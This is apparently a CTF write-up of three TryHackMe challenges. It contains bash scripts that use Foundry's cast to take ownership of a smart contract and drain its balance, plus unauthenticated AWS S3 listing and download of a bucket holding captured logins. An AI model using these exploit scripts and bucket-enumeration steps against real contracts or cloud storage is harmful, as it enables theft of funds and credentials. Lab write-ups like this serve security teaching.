☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Hackfinity Battle Vault
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • Heist
  • PassCode
  • A Bucket of Phish

Was this helpful?

  1. TryHackme
  2. 2025

Hackfinity Battle Vault

From the Hackfinity Battle CTF event. -by munra, hadrian3689 and h4sh3m00

Previous2025NextSecurity Footage

Last updated 6 days ago

Was this helpful?

The following post by 0xb0b is licensed under


Heist

BlockChain

The challenge provides us with the functions required for the solution on the web server running on the machine. We can use the Foundry to solve the challenge.

To solve this challenge using Foundry, we write a script where the contract first calls changeOwnership() to become the new owner, then calls withdraw() to drain the contract balance. The isSolved() function will return true once the balance is 0, confirming success.

solve_heist.sh
#!/bin/bash

# Check if IP was provided
if [ -z "$1" ]; then
    echo "Usage: $0 <ip>"
    exit 1
fi

# Set URLs
IP="$1"
RPC_URL="http://$IP:8545"
API_URL="http://$IP"

# Export environment variables
export RPC_URL
export API_URL

# Extract contract and wallet data
PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")

# Output extracted info
echo "[*] Player Address: $PLAYER_ADDRESS"
echo "[*] Contract Address: $CONTRACT_ADDRESS"

# Check isSolved status
is_solved=$(cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL})
echo "[*] isSolved: $is_solved"

# Get initial owner balance
initial_balance=$(cast call $CONTRACT_ADDRESS "getOwnerBalance()(uint256)" --rpc-url ${RPC_URL})
echo "[*] Initial Owner Balance: $initial_balance"

# Change ownership
echo "[*] Calling changeOwnership()..."
cast send --legacy $CONTRACT_ADDRESS "changeOwnership()" --private-key $PRIVATE_KEY --rpc-url $RPC_URL

# Withdraw
echo "[*] Calling withdraw()..."
cast send --legacy $CONTRACT_ADDRESS "withdraw()" --private-key $PRIVATE_KEY --rpc-url $RPC_URL

# Re-check balance and isSolved
final_balance=$(cast call $CONTRACT_ADDRESS "getOwnerBalance()(uint256)" --rpc-url ${RPC_URL})
is_solved_final=$(cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL})

echo "[*] Final Owner Balance: $final_balance"
echo "[*] isSolved (after exploit): $is_solved_final"

# Get contract owner (address)
owner=$(cast call $CONTRACT_ADDRESS "getAddress()(address)" --rpc-url ${RPC_URL})
echo "[*] getAddress(): $owner"

We run our script and provide the machines IP.

solve_heist.sh <IP>

We were able to change the owner and withdraw the contracts balance. We visit the web page again and request the flag.

PassCode

BlockChain

The challenge provides us with the functions required for the solution on the web server running on the machine. We can use the Foundry to solve the challenge.

In order to solve this challenge, we need to call the unlock() function using the correct code. We can then request the flag via the getFlag() function. There is a hint() function that provides a string. Upon testing this manually, it becomes clear that the result of hint() is the code. To solve the challenge, we write a script that performs the aforementioned steps.

solve_passcode.sh
#!/bin/bash

# Check if IP was provided
if [ -z "$1" ]; then
    echo "Usage: $0 <ip>"
    exit 1
fi

# Set variables
IP="$1"
RPC_URL="http://$IP:8545"
API_URL="http://$IP"

# Export for cast
export RPC_URL
export API_URL

# Retrieve wallet and contract info
PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")

echo "[*] Player Address: $PLAYER_ADDRESS"
echo "[*] Contract Address: $CONTRACT_ADDRESS"

# Get hint
echo "[*] Fetching hint..."
HINT=$(cast call $CONTRACT_ADDRESS "hint()(string)" --rpc-url $RPC_URL)
echo "[*] Hint from contract: $HINT"

# Extract numeric code from hint 
CODE=$(echo "$HINT" | grep -oE '[0-9]+')
if [ -z "$CODE" ]; then
    echo "[-] Failed to extract code from hint."
    exit 1
fi
echo "[*] Extracted code: $CODE"

# Call unlock
echo "[*] Calling unlock($CODE)..."
cast send --legacy $CONTRACT_ADDRESS "unlock(uint256)" $CODE --private-key $PRIVATE_KEY --rpc-url $RPC_URL

# Get Flag
echo "[*] Calling getFlag()..."
cast call $CONTRACT_ADDRESS "getFlag()(string)" --rpc-url $RPC_URL

echo "[+] Done."

We run our script and provide the machines IP. The flag gets printed.

./solve_passcode.sh <IP>

A Bucket of Phish

Cloud

We initally try to access the provided website directly to see what it serves. Requesting a nonexistent key in an S3-backed website helps us determine if it's misconfigured. In this case, the error message shows that the backend is an S3 bucket and confirms that keys are being served directly.

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com/s3
<html>
<head><title>404 Not Found</title></head>
<body>
<h1>404 Not Found</h1>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: s3</li>
<li>RequestId: 5N4YRF3PFTQJ3PD4</li>
<li>HostId: 8UMAis1KTIphT1x1jpBFPaGexYTQkhV5wy3nVdcEj9dc5rQBSgesHlRgBKtW9eYnmnHDUiCVeYU=</li>
</ul>
<h3>An Error Occurred While Attempting to Retrieve a Custom Error Document</h3>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: error.html</li>
</ul>
<hr/>
</body>
</html>

Next, we use the AWS CLI with unauthenticated access to list the bucket's files.

Some S3 buckets are public and allow listing without credentials. This shows all stored objects. Here, we discover index.html and a file named captured-logins-093582390.

aws s3 ls s3://darkinjector-phish --no-sign-request
2025-03-17 01:46:17        132 captured-logins-093582390
2025-03-17 01:25:33       2300 index.html

Next, we download the suspicious file to check for compromised credentials and find the flag.

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com/captured-logins-093582390
user,pass
munra@thm.thm,Password123
test@thm.thm,123456
mario@thm.thm,Mario123
flag@thm.thm,THM{REDACTED}
                                                     
CC BY 4.0
TryHackMe | Cyber Security TrainingTryHackMe
Foundry Book
Foundry Book
TryHackMe | Cyber Security TrainingTryHackMe
TryHackMe | Cyber Security TrainingTryHackMe
Logo
Logo
Logo
Logo
Logo